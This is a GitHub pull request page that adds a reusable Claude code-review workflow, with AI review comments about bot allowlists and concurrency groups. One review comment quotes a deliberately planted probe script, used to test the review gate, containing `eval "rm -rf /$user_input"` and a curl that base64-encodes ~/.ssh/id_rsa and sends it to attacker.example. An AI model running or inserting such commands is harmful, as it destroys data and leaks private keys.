Repository navigation
ci: add the claude-review reusable workflow - #3
Conversation
Move the reviewed workflow here as claude-review.yml, call it from ci.yml, and document how other repositories call it. all-green ignores the skipped claude-review job outside pull_request events. Closes #2 Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
| with: | ||
| claude_code_oauth_token: ${{ secrets.claude_code_oauth_token }} | ||
| github_token: ${{ github.token }} | ||
| allowed_bots: furedea-agent |
There was a problem hiding this comment.
P2: allowed_bots is hardcoded to furedea-agent in a workflow that other repositories will share. claude-code-action rejects runs started by a bot that isn't on this list ("Workflow initiated by non-human actor"). Renovate PRs come from same-repository branches, so the caller's if and the job if both let them through and the secret is available. The review step should then fail on every Renovate PR (renovate[bot]), turning claude-review, and so all-green, red. The "Explain review failure" step would then point to an expired token, which is misleading. Consider making allowed_bots a workflow_call input, or including renovate[bot] by default, or having callers skip bot actors.
Claude review summaryBlocking findings (P0/P1): 0
Checked and found OK:
No automated tests exist for the workflow logic. That's expected for CI config, but the |
Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
| eval "rm -rf /$user_input" | ||
| curl -s "http://attacker.example/steal?data=$(cat ~/.ssh/id_rsa | base64)" |
There was a problem hiding this comment.
P0: This script is destructive and steals data. Line 4 runs eval "rm -rf /$user_input", so with no argument it deletes /, and any argument is shell-injected through eval. Line 5 base64-encodes ~/.ssh/id_rsa and sends it to an external host. The comment says it's a throwaway probe for the review gate, but it is part of this PR's diff and would be merged into main of a shared workflows repo. Remove the file from the PR before merging.
Claude review summaryBlocking findings: 1 (P0)
The rest of the PR looks correct:
I found no other correctness or security problems. |
Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
| with: | ||
| claude_code_oauth_token: ${{ secrets.claude_code_oauth_token }} | ||
| github_token: ${{ github.token }} | ||
| allowed_bots: furedea-agent |
There was a problem hiding this comment.
P2: Only furedea-agent is in allowed_bots. claude-code-action refuses to run when the triggering actor is a bot that isn't on this list. If Renovate runs as the hosted app (renovate[bot]), or Dependabot opens a PR, the actor is a non-allowed bot, so this job fails. Because of the new all-green rule, every automated dependency PR (including the digest bumps the PR description expects) would then fail all-green and couldn't automerge. Consider one of: add renovate[bot] to the list, skip bot-authored PRs in the caller's if, or confirm Renovate runs as furedea-agent.
|
Claude review summary No blocking findings (P0/P1).
Checked and found no problem:
|
Renovate pull requests come from same-repository branches, so the review job runs on them and claude-code-action rejects non-allowlisted bots. Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
This reverts commit 402409e.
Renovate pull requests come from same-repository branches and claude-code-action rejects non-allowlisted bots. Skip them by PR author and let all-green treat the skip as success. Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
|
Claude review summary No findings. I checked:
Blocking findings (P0/P1): 0. |
The review job now runs only for pull_request events, not from forks, and not for bot authors other than furedea-agent. Callers pass only uses, permissions and secrets, and all-green keeps the plain rule. Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
| shell: bash | ||
|
|
||
| concurrency: | ||
| group: claude-review-${{ github.repository }}-${{ github.event.pull_request.number }} |
There was a problem hiding this comment.
P2: For non-pull_request events (push, merge_group, workflow_dispatch), github.event.pull_request.number is empty. Every such run then lands in the same group, claude-review-<repo>-. Workflow-level concurrency applies before the job if runs, so even runs whose review job would be skipped get queued and cancelled together. Two scenarios where this goes wrong:
- Pushes to different branches. A caller whose CI runs on pushes to more than one branch has its concurrency keyed per ref, but it still shares this one group. A push to branch A cancels the in-flight
claude-reviewfor branch B. The caller job then reportscancelled, andall-greenfails on B. - Merge queue entries. Concurrent
merge_groupruns cancel each other in the same way, which makes merge-queue checks fail at random.
A suggested fix is to fall back to something unique per ref when there is no PR number:
| group: claude-review-${{ github.repository }}-${{ github.event.pull_request.number }} | |
| group: claude-review-${{ github.repository }}-${{ github.event.pull_request.number || github.ref }} |
Claude review summaryBlocking findings (P0/P1): 0
I also checked the rest and found nothing to flag:
The open question in the PR description still stands: how the caller job reports when the inner job is skipped (push to main, fork PR, bot PR), and so whether |
Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
Claude review summaryNo P0–P3 findings. What I checked:
One thing still open, already noted in the PR description: when every job inside the called workflow is skipped (push to main, fork PRs, bot PRs), the result that Blocking findings (P0/P1): 0 |
Summary
.github/workflows/claude-review.yml(on: workflow_call), moved from agent-configebf913b.pull_requestevents, not from forks, and only when the PR author is not a bot or isfuredea-agent[bot].ci.ymlwith justuses,permissions(contents: read,pull-requests: write) and the secret, and add it toall-green'sneeds.all-greenkeeps the plain rule (skipped counts as a failure)..ls-lint.ymlexception forclaude-reviewin.github/workflowsonly.uses,permissions,secrets,needsentry).Skip conditions
The skip conditions live in the reusable workflow, so callers need no
ifand no specialall-greenrule. History: an earlier draft put them in the caller and special-casedall-green; a Codex review found that fork PRs turnedall-greenred, and the conditions were then moved here by decision.Unverified: how a caller job reports when every job inside the called workflow is skipped (push to main, fork PR, bot PR), and so whether the plain
all-greenrule stays green there. The parent will check this on the push-to-main run after merge.Renovate
furedea/renovate-configextendsconfig:recommendedandhelpers:pinGitHubActionDigests, so the github-actions manager is on and reusable workflow references (uses: furedea/reusable-workflows/.github/workflows/claude-review.yml@<sha>) are update targets. This repository has no tags or releases yet, so only digest tracking via a# maincomment is expected (not verified); cut tags for reliable version updates. renovate-config is unchanged.Verification
all-greengreen: https://github.com/furedea/reusable-workflows/actions/runs/42200425354tmp_p0_probe.sh, commit 660ea86): review posted a P0 inline comment,claude-reviewandall-greenred: https://github.com/furedea/reusable-workflows/actions/runs/42200685478all-greengreen again: https://github.com/furedea/reusable-workflows/actions/runs/42200869931all-greenred), fixed before the first push.Review findings
allowed_bots: furedea-agentmakes claude-code-action reject Renovate PRs, which would turnclaude-reviewandall-greenred. Resolved by not reviewing PRs opened by bots other than furedea-agent, keyed on the PR author (pull_request.user.type != 'Bot' || pull_request.user.login == 'furedea-agent[bot]').allowed_botsstaysfuredea-agent; an allowlist change (402409e) was reverted.allowed_botsP2 (twice per run), still suggesting caller-side skips or an allowlist change. Recorded, not changed: same grounds as the resolved P2; the skip now lives in the jobif.merge_groupruns of different refs would share one group and cancel each other. Fixed by falling back togithub.ref.all-greengreen: https://github.com/furedea/reusable-workflows/actions/runs/42202332525 (the staleallowed_botsinline comments appeared again; same recorded grounds).Closes #2
🤖 Generated with Claude Code